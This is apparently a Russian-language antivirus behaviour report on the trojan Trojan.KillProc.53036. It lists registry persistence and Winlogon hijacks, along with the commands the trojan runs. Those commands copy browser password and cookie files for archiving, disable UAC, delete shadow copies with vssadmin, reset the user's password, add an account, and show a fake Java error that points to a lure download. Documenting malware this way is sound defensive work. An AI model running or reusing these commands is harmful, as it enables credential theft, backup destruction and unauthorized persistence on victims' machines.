Trojan.KillProc.53036

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Update' = '%WINDIR%\fpteam.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Skype' = '%WINDIR%\userint.exe'
[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%WINDIR%\userint.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'exploer.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'userinit' = 'userint.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Eset' = '%WINDIR%\fpteam.exe'

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует:

Средство контроля пользовательских учетных записей (UAC)

удаляет теневые копии разделов.

Запускает на исполнение:

'<SYSTEM32>\cmd.exe' /C for /r "%HOMEPATH%\AppData\" %a in (key3.db) do copy "%a" %WINDIR%\ModsByFp\Mozila\key3.db
'<SYSTEM32>\cmd.exe' /C for /r "C:\" %a in (wand.dat) do copy "%a" %WINDIR%\ModsByFp\Opera\wand.dat
'<SYSTEM32>\cmd.exe' /C for /r "%HOMEPATH%\AppData\" %a in (signons.sqlite) do copy "%a" %WINDIR%\ModsByFp\Mozila\signons.sqlite
'<SYSTEM32>\cmd.exe' /C for /r "%HOMEPATH%\AppData\" %a in (cookies.*) do copy "%a" %WINDIR%\ModsByFp\Chrome\cookies.*
'<SYSTEM32>\cmd.exe' /C for /r "%HOMEPATH%\AppData\" %a in (cookies.sqlite) do copy "%a" %WINDIR%\ModsByFp\Mozila\cookies.sqlite
'<SYSTEM32>\cmd.exe' /C md %WINDIR%\ModsByFp\Chrome
'<SYSTEM32>\cmd.exe' /C md C:\Users\ModsByFp
'<SYSTEM32>\msg.exe' * Java error! Download java 11.2 www.ja##.com/ru/download
'<SYSTEM32>\cmd.exe' /C md %WINDIR%\SystemUpdate
'<SYSTEM32>\cmd.exe' /C md %WINDIR%\ModsByFp\Mozila
'<SYSTEM32>\cmd.exe' /C md %WINDIR%\ModsByFp\Opera
'<SYSTEM32>\cmd.exe' /C for /r "C:\" %a in (wand.dat) do copy "%a" %WINDIR%\ModsByFp\Opera\wand3.dat
'<SYSTEM32>\cmd.exe' /C %WINDIR%\java.exe a -ac -dh -ep1 -m1 -p[gold] -r0 -s -idp %WINDIR%\SystemUpdate\Update %WINDIR%\ModsByFp\*.*
'<SYSTEM32>\cmd.exe' /C %WINDIR%\java.exe a -ac -dh -ep1 -m1 -p[gold] -r0 -s -idp %WINDIR%\SystemUpdate\Windows %WINDIR%\ModsByFp\*.*
'<SYSTEM32>\cmd.exe' /C %WINDIR%\java.exe a -ac -dh -ep1 -m1 -p[gold] -r0 -s -idp %WINDIR%\SystemUpdate\Stream %WINDIR%\ModsByFp\*.*
'%ProgramFiles%\Internet Explorer\IEXPLORE.EXE' -nohome
'<SYSTEM32>\cmd.exe' /C %WINDIR%\java.exe a -ac -dh -ep1 -m1 -p[UPFDNO] -r0 -s -idp %WINDIR%\SystemUpdate\1 %WINDIR%\SystemUpdate\*.*
'<SYSTEM32>\cmd.exe' /C start %WINDIR%\Launch.exe /Stext %WINDIR%\ModsByFp\Chrome\guardv2NW.txt
'<SYSTEM32>\cmd.exe' /C copy %HOMEPATH%\AppData\Local\Google\Chrome\"User Data"\Default\"Login Data" %WINDIR%\ModsByFp\Chrome\"Login Data"
'<SYSTEM32>\cmd.exe' /C for /r "C:\" %a in (cookies4.dat) do copy "%a" %WINDIR%\ModsByFp\Opera\cookies4.dat
'<SYSTEM32>\cmd.exe' /C copy %HOMEPATH%\AppData\Local\Google\Chrome\"User Data"\Default\"Web Data" %WINDIR%\ModsByFp\Chrome\"Web Data"
'<SYSTEM32>\cmd.exe' /C copy %HOMEPATH%\AppData\Roaming\Opera\wand.dat %WINDIR%\ModsByFp\Opera\wand2.dat
'<SYSTEM32>\cmd.exe' /C copy %HOMEPATH%\AppData\Roaming\Opera\Opera\wand.dat %WINDIR%\ModsByFp\Opera\wand.dat
'<SYSTEM32>\cmd.exe' /C HKEY_local_machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit /t reg_sz /d "userint.exe" /f
'<SYSTEM32>\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "exploer.exe" /f
'<SYSTEM32>\cmd.exe' /C net user %username% cnbvkbwtypbz
'<SYSTEM32>\cmd.exe' /k <SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /C net user skype - ze1f.pro /add
'<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t reg_sz /d "%WINDIR%\userint.exe" /f
'<SYSTEM32>\reg.exe' add "HKEY_local_machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit /t reg_sz /d "userint.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "exploer.exe" /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Eset" /t REG_SZ /d "%WINDIR%\fpteam.exe" /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Skype /t REG_SZ /d "%WINDIR%\userint.exe" /f
'<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update" /t REG_SZ /d "%WINDIR%\fpteam.exe" /f
'<SYSTEM32>\net.exe' user skype - ze1f.pro /add
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /For=H: /Quiet
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /For=R: /Quiet
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /For=E: /Quiet
'<SYSTEM32>\cmd.exe' /C start http://www.ja##.com/ru/download/
'<SYSTEM32>\cmd.exe' /C msg * Java error! Download java 11.2 www.ja##.com/ru/download
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /For=D: /Quiet
'<SYSTEM32>\net.exe' user %USERNAME% cnbvkbwtypbz
'<SYSTEM32>\net1.exe' user skype - ze1f.pro /add
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /For=C: /Quiet
'<SYSTEM32>\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\net1.exe' user %USERNAME% cnbvkbwtypbz